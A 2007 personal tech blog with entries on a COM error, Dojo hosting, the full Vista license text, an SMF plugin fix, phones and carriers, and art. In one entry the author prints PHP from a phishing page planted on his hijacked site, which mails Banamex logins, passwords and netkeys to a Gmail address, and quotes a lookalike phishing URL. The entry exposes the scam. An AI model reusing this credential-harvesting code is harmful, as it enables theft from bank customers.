Tim's Journal

DisconnectedContext was detected

2007-11-28T08:55:46Z

Context 0x1fa878 is disconnected. No proxy will be used to service the request on the COM component. This may cause corruption or data loss. To avoid this problem, please ensure that all contexts/apartments stay alive until the application is completely done with the RuntimeCallableWrappers that represent COM

Wow, look at that jargon. Anglais, si'l vous plait. My humble attempt, can you do better?

Dude, remember when I told you that running multiple chunks of code in parallel, i.e., multi-threading, was evil? Remember how you didn't listen to me? Well, I noticed that you are manipulating some stuff from chunk one in chunk two. What are you going to do if chunk one suddenly ends and the stuff disappears?

Dojo 1.0.0 available on AOL CDN

2007-11-16T19:27:17Z

Background. Dojo is a toolkit of javascript functions which speeds up web development. It includes both aesthetic and technically-helpful elements. Prior to AOL hosting the toolkit, it would be necessary to physically transfer the compressed files to the server and uncompress. While this was a cinch on my lunarpages-hosted linux account running CPanel, it turned out to be quite a pain with a windows-based account running Plesk. To use:

Very handy. Thank you AOL. Source: http://dojotoolkit.org/2007/11/06/dojo-1-0-0-available-aol-cdn

The fine print on Vista

2007-11-14T17:33:01Z

I recently had a chance to skim through the Vista Enterprise software license. Microsoft is currently offering Vista as a 30-day VHD (Virtual Hard Drive; requires registration) ostensibly for IT-departments paralyzed by the potential of all mission critical software to sieze up on update. It requires Microsoft Virtual Server R2, Microsoft's (free, sorry VMWare) virtualization solution. If you are involved in potentially licensing software as a licensor or licensee, it's absolutely worth a gander. I'm sure they spent a fortune with attorneys on drafting it. Questions and observations:

How do we handle licensing Vista virtualized across multiple machines?
- "A hardware partition or blade is considered a separate device." --
- "You may use the software on up to two processors on that device at one time."
- "You may use the software installed on the licensed device within a virtual (or otherwise emulated) hardware system. If you do so, you may not play or access content or use applications protected by any Microsoft digital, information or enterprise rights management technology or other Microsoft rights management services or use BitLocker."
What is "pooling"? Timesharing?
- "Except as provided in the Device Connections and Other Access Technologies sections below, only one user may use the software at a time."
- "Hardware or software you use to · pool connections, or · reduce the number of devices or users that directly access or use the software (sometimes referred to as “multiplexing” or “pooling”), does not reduce the number of licenses you need."
Did I buy Vista? Nope.
- "The software is licensed, not sold. This agreement only gives you some rights to use the software. Microsoft reserves all other rights."
- "You may not... rent, lease or lend the software..."
- "You may not... use the software for commercial software hosting services."
Will I get support? Don't count on it.
- "Because the software is “as is,” we may not provide support services for it."
- "The software is licensed “as-is.” You bear the risk of using it. Microsoft gives no express warranties, guarantees or conditions."
- "To the extent permitted under your local laws, Microsoft excludes the implied warranties of merchantability, fitness for a particular purpose and non-infringement."
What if something breaks, or I lose critical data? Tough luck.
- "You can recover from Microsoft and its suppliers only direct damages up to U.S. $5.00. You cannot recover any other damages, including consequential, lost profits, special, indirect or incidental damages."
- "It also applies even if Microsoft knew or should have known about the possibility of the damages."

]]> They supersede all other licensing terms for the software, including the Microsoft Licensing Product Use Rights appearing on the media that contains the software. The terms also apply to any Microsoft · updates, · supplements, · Internet-based services, and · support services for this software, unless other terms accompany those items. If so, those terms apply. By using the software, you accept these terms. If you do not accept them, do not use the software. As described below, using the software also operates as your consent to the transmission of certain computer information during activation, validation and for Internet-based services. If you comply with these license terms, you have the rights below for each license you acquire. 1. OVERVIEW. a. Software. The software includes desktop operating system software. This software does not include Windows Live services. Windows Live is a service available from Microsoft under a separate agreement. b. License Model. The software is licensed on a per copy per device basis. 2. TERM. The term of this agreement will expire 30 days after the software is installed. You should destroy all copies of the software upon expiration of the term of this agreement. 3. INSTALLATION AND USE RIGHTS. Before you use the software under a license, you must assign that license to one device (physical hardware system). That device is the “licensed device.” A hardware partition or blade is considered to be a separate device. a. Licensed Device. You may install one copy of the software on the licensed device. You may use the software on up to two processors on that device at one time. Except as provided in the Storage and Network Use sections below, you may not use the software on any other device. You may use the software only to demonstrate and internally evaluate it. You may not the software for commercial purposes. You may not use the software in a live operating environment unless Microsoft permits you to do so under another agreement. b. Number of Users. Except as provided in the Device Connections and Other Access Technologies sections below, only one user may use the software at a time. c. Alternative Versions. The software may include more than one version, such as 32-bit and 64-bit. You may use only one version at one time. 4. ADDITIONAL LICENSING REQUIREMENTS AND/OR USE RIGHTS. a. Storage. You may store one copy of the software on a storage device, such as a network server. You may use that copy to install the software on any other device to which a license has been assigned. b. Network Use. Instead of installing the software on the licensed device, you may install one copy on a storage device, such as a network server. You may use that copy only to run the software on your licensed device over an internal network. c. Device Connections. You may allow up to 10 other devices to access the software installed on the licensed device to use File Services, Print Services, Internet Information Services and Internet Connection Sharing and Telephony Services. d. Remote Access Technologies. You may access and use the software installed on the licensed device remotely from another device using remote access technologies as follows. · Remote Desktop. The single primary user of the licensed device may access a session from any other device using Remote Desktop or similar technologies. A “session” means the experience of interacting with the software, directly or indirectly, through any combination of input, output and display peripherals. Other users may access a session from any device using these technologies, if the remote device is separately licensed to run the software. · Other Access Technologies. You may use Remote Assistance or similar technologies to share an active session. e. Other Remote Uses. You may allow any number of devices to access the software installed on the licensed device for purposes other than those described in the Device Connections and Remote Access Technologies sections above, such as to synchronize data between devices. f. Use with Virtualization Technologies. You may use the software installed on the licensed device within a virtual (or otherwise emulated) hardware system. If you do so, you may not play or access content or use applications protected by any Microsoft digital, information or enterprise rights management technology or other Microsoft rights management services or use BitLocker. We advise against playing or accessing content or using applications protected by other digital, information or enterprise rights management technology or other rights management services or using full volume disk drive encryption. g. Multiplexing. Hardware or software you use to · pool connections, or · reduce the number of devices or users that directly access or use the software (sometimes referred to as “multiplexing” or “pooling”), does not reduce the number of licenses you need. h. Font Components. While the software is running, you may use its fonts to display and print content. You may only · embed fonts in content as permitted by the embedding restrictions in the fonts; and · temporarily download them to a printer or other output device to print content. i. Icons, images and sounds. While the software is running, you may use but not share its icons, images, sounds, and media. 5. VALIDATION. a. The software will from time to time validate the software, update or require download of the validation feature of the software. Validation verifies that the software has been activated and is properly licensed. Validation also permits you to use certain features of the software or to obtain additional benefits. For more information, see http://go.microsoft.com/fwlink/?linkid=39157. b. During a validation check, the software will send information about the software and the device to Microsoft. This information includes the version and product key of the software, and the Internet protocol address of the device. Microsoft does not use the information to identify or contact you. By using the software, you consent to the transmission of this information. For more information about validation and what is sent during a validation check, see http://go.microsoft.com/fwlink/?linkid=69500. c. If, after a validation check, the software is found not to be properly licensed, the functionality of the software may be affected. For example, you may · need to reactivate the software, or · receive reminders to obtain a properly licensed copy of the software, or you may not be able to · use or continue to use some of the features of the software, or · obtain certain updates or upgrades from Microsoft. d. You may only obtain updates or upgrades for the software from Microsoft or authorized sources. For more information on obtaining updates from authorized sources see http://go.microsoft.com/fwlink/?linkid=69502. 6. POTENTIALLY UNWANTED SOFTWARE. If turned on, Windows Defender will search your computer for “spyware,” “adware” and other potentially unwanted software. If it finds potentially unwanted software, the software will ask you if you want to ignore, disable (quarantine) or remove it. Any potentially unwanted software rated “high” or “severe,” will automatically be removed after scanning unless you change the default setting. Removing or disabling potentially unwanted software may result in · other software on your computer ceasing to work, or · your breaching a license to use other software on your computer. By using this software, it is possible that you will also remove or disable software that is not potentially unwanted software. 7. INTERNET-BASED SERVICES. Microsoft provides Internet-based services with the software. It may change or cancel them at any time. a. Consent for Internet-Based Services. The software features described below and in the Windows Vista Privacy Statement connect to Microsoft or service provider computer systems over the Internet. In some cases, you will not receive a separate notice when they connect. You may switch off these features or not use them. For more information about these features, see the Windows Vista Privacy Statement at http://go.microsoft.com/fwlink/?linkid=20615. By using these features, you consent to the transmission of this information. Microsoft does not use the information to identify or contact you. Computer Information. The following features use Internet protocols, which send to the appropriate systems computer information, such as your Internet protocol address, the type of operating system, browser and name and version of the software you are using, and the language code of the device where you installed the software. Microsoft uses this information to make the Internet-based services available to you. · Windows Update Feature. You may connect new hardware to your device. Your device may not have the drivers needed to communicate with that hardware. If so, the update feature of the software can obtain the correct driver from Microsoft and install it on your device. You can switch off this update feature. · Web Content Features. Features in the software can retrieve related content from Microsoft and provide it to you. Examples of these features are clip art, templates, online training, online assistance and Appshelp. You may choose not to use these web content features. · Digital Certificates. The software uses digital certificates. These digital certificates confirm the identity of Internet users sending X.509 standard encrypted information. They also can be used to digitally sign files and macros, to verify the integrity and origin of the file contents. The software retrieves certificates and updates certificate revocation lists over the Internet, when available. · Auto Root Update. The Auto Root Update feature updates the list of trusted certificate authorities. You can switch off the Auto Root Update feature. · Windows Media Digital Rights Management. Content owners use Windows Media digital rights management technology (WMDRM) to protect their intellectual property, including copyrights. This software and third party software use WMDRM to play and copy WMDRM-protected content. If the software fails to protect the content, content owners may ask Microsoft to revoke the software’s ability to use WMDRM to play or copy protected content. Revocation does not affect other content. When you download licenses for protected content, you agree that Microsoft may include a revocation list with the licenses. Content owners may require you to upgrade WMDRM to access their content. Microsoft software that includes WMDRM will ask for your consent prior to the upgrade. If you decline an upgrade, you will not be able to access content that requires the upgrade. You may switch off WMDRM features that access the Internet. When these features are off, you can still play content for which you have a valid license. · Windows Media Player. When you use Windows Media Player, it checks with Microsoft for · compatible online music services in your region; · new versions of the player; and · codecs if your device does not have the correct ones for playing content. You can switch off this last feature. For more information, go to http://go.microsoft.com/fwlink/?linkid=44073. · Malicious Software Removal/Clean On Upgrade. Before installation of the software, the software will check and remove certain malicious software listed at http://www.support.microsoft.com/?kbid=890830 (“Malware”) from your device. When the software checks your device for Malware, a report will be sent to Microsoft about any Malware detected or errors that occurred while the software was checking for Malware. No information that can be used to identify you is included in the report. You may disable the software’s Malware reporting functionality by following the instructions found at http://www.support.microsoft.com/?kbid=890830. · Network Connectivity Status Icon. This feature determines whether a system is connected to a network by either passive monitoring of network traffic or active DNS or HTTP queries. The query only transfers standard TCP/IP or DNS information for routing purposes. You can switch off the active query feature through a registry setting. · Windows Time Service. This service synchronizes with time.windows.com once a week to provide your computer with the correct time. You can turn this feature off or choose your preferred time source within the Date and Time Control Panel applet. The connection uses standard NTP protocol. · IPv6 Network Address Translation (NAT) Traversal service (Teredo). This feature helps existing home Internet gateway devices transition to IPv6. IPv6 is next generation Internet protocol. It helps enable end-to-end connectivity often needed by peer-to-peer applications. To do so, each time you start up the software the Teredo client service will attempt to locate a public Teredo Internet service. It does so by sending a query over the Internet. This query only transfers standard Domain Name Service information to determine if your computer is connected to the Internet and can locate a public Teredo service. If you · use an application (e.g. Windows Meeting Space) that needs IPv6 connectivity or · configure your firewall to always enable IPv6 connectivity by default standard Internet Protocol information will be sent to the Teredo service at Microsoft at regular intervals. No other information is sent to Microsoft. You can change this default to use non-Microsoft servers. You can also switch off this feature using a command line utility named “netsh”. b. Use of Information. Microsoft may use the computer information, error reports, and Malware reports to improve our software and services. We may also share it with others, such as hardware and software vendors. They may use the information to improve how their products run with Microsoft software. c. Misuse of Internet-based Services. You may not use these services in any way that could harm them or impair anyone else’s use of them. You may not use the services to try to gain unauthorized access to any service, data, account or network by any means. 8. FEEDBACK. If you give feedback about the software to Microsoft, you give to Microsoft, without charge, the right to use, share and commercialize your feedback in any way and for any purpose. You also give to third parties, without charge, any patent rights needed for their products, technologies and services to use or interface with any specific parts of a Microsoft software or service that includes the feedback. You will not give feedback that is subject to a license that requires Microsoft to license its software or documentation to third parties because we include your feedback in them. These rights survive this agreement. 9. SCOPE OF LICENSE. The software is licensed, not sold. This agreement only gives you some rights to use the software. Microsoft reserves all other rights. Unless applicable law gives you more rights despite this limitation, you may use the software only as expressly permitted in this agreement. In doing so, you must comply with any technical limitations in the software that only allow you to use it in certain ways. For more information, see http://www.microsoft.com/licensing/userights. You may not · work around any technical limitations in the software; · reverse engineer, decompile or disassemble the software, except and only to the extent that applicable law expressly permits, despite this limitation; · use components of the software to run applications not running on the software; · make more copies of the software than specified in this agreement or allowed by applicable law, despite this limitation; · publish the software for others to copy; · rent, lease or lend the software; or · use the software for commercial software hosting services. 10. MICROSOFT .NET BENCHMARK TESTING. The software includes one or more components of the .NET Framework 3.0 (“.NET Components”). You may conduct internal benchmark testing of those components. You may disclose the results of any benchmark test of those components, provided that you comply with the conditions set forth at http://go.microsoft.com/fwlink/?LinkID=66406. Notwithstanding any other agreement you may have with Microsoft, if you disclose such benchmark test results, Microsoft shall have the right to disclose the results of benchmark tests it conducts of your products that compete with the applicable .NET Component, provided it complies with the same conditions set forth at http://go.microsoft.com/fwlink/?LinkID=66406. 11. NOTICE ABOUT THE MPEG-4 VISUAL STANDARD. This software includes MPEG-4 visual decoding technology. MPEG LA, L.L.C. requires this notice: USE OF THIS PRODUCT IN ANY MANNER THAT COMPLIES WITH THE MPEG-4 VISUAL STANDARD IS PROHIBITED, EXCEPT FOR USE DIRECTLY RELATED TO (A) DATA OR INFORMATION (i) GENERATED BY AND OBTAINED WITHOUT CHARGE FROM A CONSUMER NOT THEREBY ENGAGED IN A BUSINESS ENTERPRISE, AND (ii) FOR PERSONAL USE ONLY; AND (B) OTHER USES SPECIFICALLY AND SEPARATELY LICENSED BY MPEG LA, L.L.C. If you have questions about the MPEG-4 visual standard, please contact MPEG LA, L.L.C., 250 Steele Street, Suite 300, Denver, Colorado 80206; http://www.mpegla.com. 12. NOTICE ABOUT THE VC-1 VISUAL STANDARD. This software may include VC-1 visual decoding technology. MPEG LA, L.L.C. requires this notice: THIS PRODUCT IS LICENSED UNDER THE VC-1 PATENT PORTFOLIO LICENSES FOR THE PERSONAL AND NON-COMMERCIAL USE OF A CONSUMER TO (A) ENCODE VIDEO IN COMPLIANCE WITH THE VC-1 STANDARD (“VC-1 VIDEO”) OR (B) DECODE VC-1 VIDEO THAT WAS ENCODED BY A CONSUMER ENGAGED IN A PERSONAL AND NON-COMMERCIAL ACTIVITY AND/OR WAS OBTAINED FROM A VIDEO PROVIDER LICENSED TO PROVIDE VC-1 VIDEO. NO LICENSE IS GRANTED OR SHALL BE IMPLIED FOR ANY OTHER USE. If you have questions about the VC-1 visual standard, please contact MPEG LA, L.L.C., 250 Steele Street, Suite 300, Denver, Colorado 80206; http://www.mpegla.com. 13. THIRD PARTY PROGRAMS. The software contains third party programs. The license terms with those programs apply to your use of them. 14. EXPORT RESTRICTIONS. The software is subject to United States export laws and regulations. You must comply with all domestic and international export laws and regulations that apply to the software. These laws include restrictions on destinations, end users and end use. For additional information, see http://www.microsoft.com/exporting. 15. SUPPORT SERVICES. Because the software is “as is,” we may not provide support services for it. 16. ENTIRE AGREEMENT. This agreement (including the warranty below), additional terms and the terms for supplements, updates, Internet-based services and support services that you use, are the entire agreement for the software and support services. 17. APPLICABLE LAW. a. United States. If you acquired the software in the United States, Washington state law governs the interpretation of this agreement and applies to claims for breach of it, regardless of conflict of laws principles. The laws of the state where you live govern all other claims, including claims under state consumer protection laws, unfair competition laws, and in tort. b. Outside the United States. If you acquired the software in any other country, the laws of that country apply. 18. LEGAL EFFECT. This agreement describes certain legal rights. You may have other rights under the laws of your state or country. You may also have rights with respect to the party from whom you acquired the software. This agreement does not change your rights under the laws of your state or country if the laws of your state or country do not permit it to do so. 19. Disclaimer of Warranty. The software is licensed “as-is.” You bear the risk of using it. Microsoft gives no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this agreement cannot change. To the extent permitted under your local laws, Microsoft excludes the implied warranties of merchantability, fitness for a particular purpose and non-infringement. 20. Limitation on and Exclusion of Remedies and Damages. You can recover from Microsoft and its suppliers only direct damages up to U.S. $5.00. You cannot recover any other damages, including consequential, lost profits, special, indirect or incidental damages. This limitation applies to · anything related to the software, services, content (including code) on third party Internet sites, or third party programs; and · claims for breach of contract, breach of warranty, guarantee or condition, strict liability, negligence, or other tort to the extent permitted by applicable law. It also applies even if Microsoft knew or should have known about the possibility of the damages. The above limitation or exclusion may not apply to you because your country may not allow the exclusion or limitation of incidental, consequential or other damages.

Resolving the missing Ad Management link (SMF 1.1.3)

2007-07-13T17:43:52Z

Symptom: Installing Ad Management for SMF 1.1.3 from smfads.com indicates success. No Ad Management link is present under Configuration tab. However, inspection (view source) reveals an incomplete link, in my case to

index.php?action=admod

with no parameters. The incomplete link can be visually checked by noticing the extra space between Configuration and the next tab. Resolution: Per jerm, the issue has to do with english versus english-utf8. The current version "ad_mod_1-1-x_v2-3" creates a file called "Ads.english.php" in the languages folder of the default directory. A quick glance at the 1.1.3 install (and probably a few subversions back) shows that a copy should probably be made for "Ads.english-utf8.php". Create this copy by hand for quick resolution OR alternatively, installing using ad_mod_1-1-x_v2-3x (simple hack to include utf8 copy). The only real change to the package is the addition of Ads.english-utf8.php (copy), and adding the following line to package-info.xml to read:

require-file name="Ads.english-utf8.php" destination="$languagedir"

Let me know if there are any issues or if you found the hack helpful.

"Bana" banamex scam

2007-07-10T17:34:05Z

I recently went in and triaged a Geeklog install I haven't touched in a few months. Lo and behold, it had been hijacked by scammer spammers. Here is login.php:

$message .= "Login: ".$_POST['ncliente']; $message .= "Password: ".$_POST['pass']; $message .= "Netkey: ".$_POST['netkey']; $message .= $ip = getenv("REMOTE_ADDR"); //sending email info here $subj = "Bancanet - Banamex"; $from = "From: Info"; mail("devilzx0@gmail.com", $subj, $message, $from); header("Location: verificacion.htm");

My ISP was complaining of mail sent. This was probably it. There are a lot of references in the index.htm and verificacion.html to banamex.com. Check out this particular segment of verficacion.htm:

file:///D:/Banking/Scams/Scam/Upload%20Scam/Upload%20Venezuela/Mis%20documentos/Mis%20archivos%20recibidos/letter_files/nuevobnp.css

How and where is the money made here? Harvesting accidental logins... There is one redirection to "istemp.com":

href="http://centralbanamex.com.istemp.com/banamex/"

Anyone know anything about this? Update: Here's the phishing alert. It's from 2005.

Be not anxious!

2007-07-10T16:41:21Z

Bonhoeffer writes:

Be not anxious! Earthly possessions dazzle our eyes and delude us into thinking that they can provide security and freedom from anxiety. Yet all the time they are the very source of all anxiety. If our hearts are set on them, our reward is an anxiety whose burden is intolerable. Anxiety creates its own treasures and they in turn beget further care. When we seek for security in possessions we are trying to drive out care with care, and the net result is the precise opposite of our anticipations. The fetters which bind us to our possessions prove to be cares themselves. [emphasis mine]

Chimichanga de Manzana

2007-06-20T20:06:44Z

Spotted on the Guadalajara (Redding, CA) menu. A flour tortilla filled with apples and deep fried. Topped with sugar, cinnamon, honey and whipped cream. Served with two scoops of vanilla or chocolate ice cream. $5.25. Mmmmmm.

Printing with Google Spreadsheets

2007-06-20T00:03:51Z

5:01 PM 6/19/2007. Printing does not work. It flat out doesn't work. Ok, ok, it works in a sense, stuff comes out of the printer, but columns are chopped and the chopped data doesn't even show up on future pages. See scan. Now I will humbly copy my spreadsheet data to Microsoft Excel and print. Mr. Gates, you may now say "I told you so." (Of course, maybe this is G's way to wipe out all paper copies... but hey, I still don't have EDGE or EVDO in my car, and no, I shouldn't be looking at Google Docs with my one hand while driving...) 5:10 PM 6/19/2007. Cutting and pasting into Excel from Google Spreadsheets does not work. It flat out doesn't work. The caveat here is that I have It doesn't work when you paste from the app, and it doesn't. Here's the source: And the Excel paste: Not cool. You get somewhat better results by pressing Print in Google Spreadsheets, and copying and pasting from that. However, the results are still rather lacking... Sigh. The problem here are all the carriage returns I have embedded in the cells. Update. The (lame) solution. Wipe out middle column so I know there is enough paper space. Print first page, establish what I need to re-size the last column to. Re-size and re-print.

T-Mobile vs. Verizon vs. Sprint

2007-06-19T23:52:51Z

a.k.a. EDGE vs. EVDO Rev 0 vs EDVO Rev A To think, the T-Mobile looked straight into my eyes and said that there wasn't much different in speeds between T-Mobile and other carriers. I found some real numbers on Richard's spreasheets on Swivel. His answer is resounding Sprint. The test is not quite what I wanted, since it is access from his location to various Speakeasy speed test servers. What I really want is a true test, using the speed test servers, from the various locations. In any case, the SF download speeds for T-Mobile vs. Verizon vs. Sprint is 144:930:1,081, uploads are 9:114:512 kbps. 9?!?! Update: What we really want is a GPS-enabled phone (same phone) on all three carriers (four including Cingular), giving us location-based results for the different carriers. THAT would be a very nice article and mashup project.

"Playin'" with the T-Mobile Wing and T-Mobile Dash

2007-06-19T23:28:50Z

I had a chance this afternoon to spend a half-hour or so with the T-Mobile Wing and Dash. Both running Windows Mobile, the main attraction was a phone-based EDGE solution for my laptop. Prognosis? Pretty, reasonably functional, but both require two-hand operation. My Blackberry's mostly one-handed operation turns out to be more valuable to me than I thought. The Dash is unusual for a PDA-esque Windows device in that it does NOT have a touch screen. While still useable, I found several moments in my trial having to hold back my fingers from the screen. The Wing, on the other hand, DOES have a touchable screen, and comes with stylus operation. Interestingly, I found myself using both hands to type, as well as using the stylus. While in general I do not recommend using any kind of smart phone while operating a vehicle, I really don't recommend Wing usage at a stop light or in traffic. I suppose this should have been expected given the full keyboard. Size-wise the Wing is a bit on the fat size, but forgivable since it comes with a beautiful large screen and a reasonable camera (not a problem if you carry a purse or equivalent). The Dash on the other hand, is just a bit thinner than my Blackberry. Towards the end of my short session, I had to look something up on Google. I tried it on the Dash, gave up. Tried it on the Wing, gave up, and finally got it done on my Blackberry... with one hand. So, there it is. I was looking for a laptop-modemable Wifi, Edge-cable phone. I found two, none of which I was ready to take in exchange for good ole' BB. Addendum: The fact that I found myself using the stylus on the Wing and wanting to on the Dash says something. I never need to worry about the screen on BB. But then, it doesn't run PowerPoint.

Your personal crash test dummy...

2007-06-16T08:31:53Z

ConsumerReports has crash test videos for 150+ vehicles. It's rather unsettling, and a good reminder that driving is no walk-in-the-park. The slow motion is especially revealing. Choose some pricy cars. Note to self: new Volkswagen Beetle -- poor side impact results, yikes.

Paul Potts chronology

2007-06-16T07:49:42Z

Paul Potts (not to be confused with Paul Pott) has got talent, there is no question about that. The Sun, bastion of journalism, has a piece on readers furious with the revelation that the "unassuming mobile phone salesman" had been coached by Luciano Pavarotti. The Sun claims that Mr. Potts

has received extensive training
was a regular at Bath Opera, including being a lead in Verdi Don Carlos
spent two summers touring northern Italy with a major opera school, taking master classes with top stars, including Mr. Pavarotti
won £8,000 in 1999 on a TV talent show

Says Mr. Potts, "I am not a professional. I’ve never been paid for my singing, all the training I’ve received I paid for myself, and I grafted hard to do so." That's believable, you would have expected this if he was serious. Of course, the bonus points are much less than if you had done all your training in front of a karoke box... Mr. Potts' Bath Opera bio doesn't elicit too much sympathy, though this is not unexpected, since one would expect the opera to market experience, rather than inexperience.

Paul Potts (Don Carlos) is a relative new comer to Grand Opera after an apprenticeship in Gilbert and Sullivan in Bristol.. His claim to fame is his 1999 appearance on Michael Barrymore's My Kind of Music. This was followed by singing for Bath Opera in Turandot as Prince of Persia and Herald. He has since performed with The Royal Philharmonic Orchestra and spent three months touring Northern Italy as a soloist, training under top teachers Mario Melani and Svetlana Sidrova. He has been invited back for a concert to be recorded and also for a masterclass with Luciano Pavarotti. Future plans include a summer tour with the RPO.

Wikipedia has a bit more. You can also visit his MySpace page for more personal content. Modern technology... wow.

reinvent -- Proctor & Gamble packaging design competition

2007-06-16T00:59:31Z

P&G and "designboom" are taking entries for the reinvent packaging design contest. With regards to U.S. standards, the payoff is not great, considering big time design can go into the millions. But hey, who needs mulah when you can have fame.

reinvent Maestro Limpio®, Buena Vibra® and Salvo® - packaging + in-store design competition - reinvent the package design of Maestro Limpio®, Buena Vibra®, Salvo®, (you can choose to develop one or more of the products) create the difference in the eyes of the consumer through: easier usage, fun usage, avoiding product waste, promoting reusability and more! Maestro Limpio® is a hard-surface cleaning brand that holds the following product forms: liquid multiuse cleaner, anti-grease spray, anti-stain spray, liquid bathroom cleaner, liquid aromatizers for floor cleaning, solid dust cleaner and solid scratch remover. Buena Vibra® is a hard surface liquid-cleaner Salvo® is a dish washing detergent in powder and liquid forms. note: the product name of Maestro limpio® varies from country to country, and is more commonly known as Mr Clean® examples of these three products can be seen > here < for your reference

awards - in-store point of sale design: $4000 USD. - packaging: $4000 USD. the organizers will assign honorable mentions to other projects (beyond the winner in each of the categories) that will be considered particularly meaningful for aesthetic, functional or technical reasons. PROCTER & GAMBLE undertakes, in the event that it uses for production one of the designs submitted for the contest (wholly or in part), to pay a one-off fee to the designer of $2000 USD. this does not apply to the 2 winners, their fee is the prize as written above.

Deadline for applications registration is September 20, 2007. I would have to say that the website for this contest is suspiciously cheesy.

"Good material everywhere" -- casting shadows from refuse

2007-06-16T00:21:27Z

Clever and well-executed. Spotted on pantherhouse, Tim Noble (1966) and Sue Webster (1967) re-arrange piles of refuse into... well, take a look. Ingrid Sischy provides insight through interview on the rather romantic British duo in Interview.

Sue immediately found a room that had no windows, no natural light, and a big lock on the door, and she just secluded herself from all the other students. I spent a lot of time trying to get in the door. Once I did get in we realized we were quite happy in each other's company.

I like the last part of the Interview:

SW: Probably a quite recent one, actually. I think maybe when we first got to London we felt a little bit vulnerable and possibly made stuff that we thought would be successful, as opposed to things we actually felt comfortable with ourselves. It's only in the last three or four years that I've actually begun to feel comfortable making work that I feel is real. This would include some of the first light pieces we did, such as "Forever," or "The Fountain" and "Excessive Sensual Indulgence." Also the first shadow work we did, called "Miss Understood and Mr. Meanor." IS: Does that one involve garbage? SW: Yeah, it was the first piece using garbage. We fumbled around in the studio making it and were really embarrassed by it. We didn't think it was any good. It was made up out of found objects that I collected, things like bean tins and other rubbish. IS: And the shadows of your profiles on the wall, are these actually made by the shape of the sculpted garbage? SW: Yes. Making the sculpture is one thing, but then disguising the fact that it makes the shadow is another--that's why the sculptures are such odd shapes. TN: The light pieces are very hands-on, but they can be manufactured elsewhere. The rubbish pieces are too, but we need to do those ourselves--they're very time-consuming. SW: Just because you can't afford bronze or other materials is no excuse for not making art. There's good material everywhere.

Together they are also quite astute at marketing, which is really to key to selling garbage. Gratuitous wikipedia link.

Thinkpad X61 Tablet -- SuperView outdoor viewability

2007-06-15T08:23:06Z

Warner Crocker at gottabemobile.com has an update on his Thinkpad X61 escapades. Specificially relevant to your truly are his comments on the screen:

I’ve already commented on how much I like the brightness of the screen. And I have had a chance to view it outdoors. (Still no successful way to take a picture of this, sorry.) It is readable in outdoor conditions, but the screen brightness needs to be turned up, especially on bright days. That said, the screen collects dust, grease, and oils from anything that comes in contact with it. After using it in Tablet mode for any length of time it can be quite covered with residue. What I’ve noticed that I find troubling is that this residue does cause the stylus to drag a bit as it passes over a dirty area. And if you take the X61 outside the residue shows up as a white chalky looking mess. This seems to defeat the idea behind SuperView in my mind and I find it troubling. I’m not sure what the best method to clean the screen is, and I worry about using any cleaning solution on it until I get some word about what is recommended. Some of the smudges and residue can be removed with a dry cloth designed for cleaning screens (like the ones by 3M) but in some cases it still leaves residue behind. I’ve also discovered that if, on a hot day, any of the residue is still moist or damp, it just gets smeared around if you try to clean it. I have more success if the screen is completely dry. The real plus of the SuperView technology is that the screen is easier to read under fluorescent lighting which is what we have in our rehearsal hall. This is a big plus for me. [emphasis mine]

He later adds in a comment,

My personal tastes here, I would not call this an indoor/outdoor display. The viewability is better outdoors than screens (like the x60) that don't have the SuperView Bonding. (Look for other posts on that on the site.) But it isn't designed for outdoor use in the context that many think of has indoor/outdoor. [emphasis mine]

Still no clear comparison with the MultiView outdoor performance, but it helps. Note cleanliness... I suppose you would want some sort of plastic on top of the display if possible.